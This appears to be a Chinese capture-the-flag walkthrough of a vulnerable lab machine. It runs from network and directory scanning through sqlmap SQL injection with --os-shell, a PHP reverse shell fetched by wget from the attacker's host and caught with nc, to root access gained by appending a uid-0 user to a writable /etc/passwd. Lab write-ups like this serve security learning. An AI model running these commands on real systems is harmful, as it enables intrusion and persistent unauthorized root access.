目录
靶机信息
主机信息
网站信息
SQL注入
权限提升
flag
靶机信息
靶机界面
确认攻击机和靶机在同一网段
主机信息
查看下当前网段存活的主机
sudo arp-scan -l
靶机的ip地址为10.4.7.145
扫下ip开放的端口
sudo nmap -A -p- -sS -sC -T4 10.4.7.145
这边就开放了一个80 端口是一个Apache httpd
网站信息
访问下网页
这个大概意思就是 连谷歌都搜不到我的信息
源码里也没什么有用的信息
扫下他网页的目录信息
dirb http://10.4.7.145
扫出来3个文件index.html、robots.txt、server-status,都去访问一下
10.4.7.145/index.html
10.4.7.145/robots.txt
访问robots.txt文件,里面发现有两个目录,这个文件大概的意思就是不允许爬取这两个文件。
(此地无银三百两,我就得看看)
10.4.7.145/m3diNf0
10.4.7.145/se3reTdir777/uploads
网页上发现的目录都没有权限访问
接着访问下扫出来的最后一个目录
10.4.7.145/server-status
还是没有权限
接着扫下网页里发现目录
dirb http:10.4.7.145/m3diNf0
发现这个目录里有info.php文件,访问看看
(info.php里面就是服务器上的PHP配置信息,这个页面会列出PHP版本、服务器操作系统、PHP配置参数等信息)
10.4.7.145/m3diNf0/info.php
里面没有什么有用信息,但是看到了这个文件的路径信息
这次扫下se3reTdir777
dirb http://10.4.7.145/se3reTdir777
这边有个index.php文件,(这是个网站的默认首页文件)访问一下
http://10.4.7.145/se3reTdir777/index.php
这边显示有个输入框,可能会有sql注入漏洞
SQL注入
上msfconsle
sqlmap -u "http://10.4.7.145/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell
用msf意味着攻击者可以获得对目标系统的更高级别的访问权限,并且可以执行各种操作
sqlmap:用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它能够自动化地检测、识别和利用多种类型的 SQL 注入漏洞,从而获取目标数据库中的敏感信息
--os-shell:选项会利用数据库服务器上的SQL注入漏洞,获取操作系统级别的命令行访问权限
第一个问题是web服务器支持那种web应用程序语言
第四个php
第二个问题是你想用什么作为可写目录
第二个自定义位置
下面就是要选择文件路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
(根据前面找到的info.php文件暴露的信息,绝对路径选择:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/)
这样就进入靶机系统os-shell命令行了(通过Shell,用户可以管理文件、运行程序、配置系统等操作。)
在kali里写一个php远程shell,ip是kali的ip
<?php
$sock=fsockopen("10.4.7.130",8848);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
在创建的php文件里打开终端,开启一个简单的http服务
访问下网页看看文件是否上传成功
回到靶机shell窗口将文件下载下来
wget -S http://10.4.7.130:8848/niuma.php
可能会出现好几次异常,多下几次就可以下载了!
权限提升
关闭http服务
在kali里再打开一个终端,设置监听端口为8848
nc -lnvp 8848
然后靶机执行刚下载的niuma文件
php niuma.php
看看监听到没
用python交互式可以看到用户的同时也能看到文件路径
python -c 'import pty;pty.spawn("/bin/bash")'
当前用户不是root,但有/etc/password文件的写入权限
尝试添加一个用户登录,因为写入的时候密码是加密的,所以要先加密密码
openssl passwd -1 -salt web1 123456
再写入密码
echo 'web1:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0::/root:/bin/bash'>>/etc/passwd
切换创建的web1用户,已经是root权限了